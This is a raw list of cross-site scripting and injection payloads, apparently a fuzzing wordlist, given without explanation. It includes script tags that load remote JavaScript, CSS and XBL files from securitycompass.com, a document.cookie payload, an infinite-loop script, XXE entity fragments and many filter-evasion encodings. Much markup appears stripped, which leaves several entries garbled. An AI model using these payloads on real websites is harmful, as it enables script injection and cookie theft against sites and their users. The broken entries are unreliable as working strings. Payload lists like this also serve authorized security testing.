[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> @import'http://www.securitycompass.com/xss.css'; BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")} XSS " SRC="http://www.securitycompass.com/xss.js"> '" SRC="http://www.securitycompass.com/xss.js"> ` SRC="http://www.securitycompass.com/xss.js"> document.write("<SCRI");PT SRC="http://www.securitycompass.com/xss.js">
[Mozilla] ";>;; ;;alert(1); ; ;alert(1); ; perl -e 'print \";;\";;' >; out perl -e 'print \";;alert(\";XSS\";);\";;' >; out ">alert('XSS') XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> XSS STYLE=xss:e/**/xpression(alert('XSS'))> >">alert("XSS")& ">@import"javascript:alert('XSS')"; >"'> >%22%27> '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e' "> >" '';!--"=&{()} ")> #115;cript:alert('XS;S')> #0000118as&#0000099ri&#0000112t:&#0000097le&#0000114t(&#0000039XS&#0000083')> #x63ript:&#x61lert(&#x27XSS')> var n=0;while(true){n++;}]]> SCRIPT]]>alert('gotcha');/SCRIPT]]> ]>&xee; ]>&xee; ]>&xee; ]>&xee; alert('XSS') %3cscript%3ealert('XSS')%3c/script%3e %22%3e%3cscript%3ealert('XSS')%3c/script%3e alert("XSS")"> alert("XSS");//< %253cscript%253ealert(1)%253c/script%253e ">alert(document.cookie) fooalert(1) ipt>alert(1)ipt> String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>alert(String.fromCharCode(88,83,83)) =(◕_◕)= ;;alert(1);